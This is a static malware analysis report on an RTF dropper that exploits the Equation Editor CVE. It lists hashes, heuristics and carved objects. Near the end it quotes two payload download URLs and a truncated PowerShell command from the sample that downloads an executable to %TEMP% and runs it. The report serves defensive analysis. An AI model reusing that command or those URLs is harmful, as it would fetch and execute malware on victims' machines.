Rtf.Dropper.Agent-7207981-0 — RTF malware analysis

Static analysis result for SHA-256 76338d11807ec055…

MALICIOUS

RTF

47.3 KB First seen: 2019-12-09
MD5: 5fe7ef0e15a4e9468018e0a76457d159 SHA-1: e07fca5f3053740be0eb6fb4ffbcc1c20671b2f3 SHA-256: 76338d11807ec055ff238c0dbfcd9a7d68d8297713a90ee87b07fcfc248ebb53
262 Risk Score

Malware Insights

Rtf.Dropper.Agent-7207981-0 · confidence 95%

MITRE ATT&CK
T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

The RTF document contains multiple indicators of malicious activity, including OLE object data, an Equation Editor CLSID, and an \objupdate command, all pointing to exploitation. ClamAV identifies the sample as Rtf.Dropper.Agent-7207981-0. The embedded URLs suggest the document's purpose is to download and execute a second-stage payload.

Heuristics 7

  • Equation Editor CLSID critical CVE likely RTF_EQUATION_EDITOR
    Equation Editor OLE CLSID found inside an OLE object — exploited by CVE-2017-11882 / CVE-2018-0802 / CVE-2018-0798
  • ClamAV: Rtf.Dropper.Agent-7207981-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Rtf.Dropper.Agent-7207981-0
  • Suspicious extracted artifact critical EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • \objupdate forces OLE activation high RTF_OBJUPDATE
    RTF contains \objupdate — forces automatic OLE object instantiation when the document is opened, bypassing user interaction. Almost exclusively seen in Equation Editor exploit documents.
  • OLE object data medium RTF_OBJDATA
    RTF contains 5 \objdata section(s) — embedded OLE objects
  • OlePres presentation stream in RTF OLE object medium RTF_OLEPRES_STREAM
    RTF contains an embedded OLE object with an OlePres presentation stream. OlePres is an OLE presentation marker and is not enough on its own to identify CVE-2025-21298.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://silverlinktechnologies.com/privacy.bin In RTF body
    • http://narwhaldatapartners.com/privacy.binIn RTF body

Extracted artifacts 4

Files carved from inside the sample during analysis.

FilenameKindSourceSize
objdata_00_off00004058.bin rtf-objdata-decoded RTF \objdata at offset 0x4058 377 bytes
SHA-256: 9f9df4f20bf46ffe79f02ef9500bcd656d2853d076bd9955c086799dc82c74b0
objdata_01_off00005f19.bin rtf-objdata-decoded RTF \objdata at offset 0x5F19 221 bytes
SHA-256: ad609ffc162a8f2c51146179a90ce98f4af7f47c54c9abe165f6c6d053ed0b92
objdata_02_off00006135.bin rtf-objdata-decoded RTF \objdata at offset 0x6135 498 bytes
SHA-256: c562356f6b52a564662477d9be9baf8fa4d251f3cee5e2b29549bf1dac0314dd
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Static shellcode analysis recovered URL(s): http://silverlinktechnologies.com/privacy.bin Static shellcode analysis recovered command string(s): PowerShell ""function AVONAYTRAP([String] $prodeatr){(New-Object System.Net.WebClient).DownloadFile($prodeatr,'%TEMP%\cataloghal.exe');Start-Process '%TEMP%\cataloghal.ex
objdata_03_off00006d45.bin rtf-objdata-decoded RTF \objdata at offset 0x6D45 4681 bytes
SHA-256: 2739ee55bfe1b2a7508c33fd0cfd32fd82a891d81959369110cce62e729ae09e

Open this report in the interactive analyzer, or submit your own file for analysis.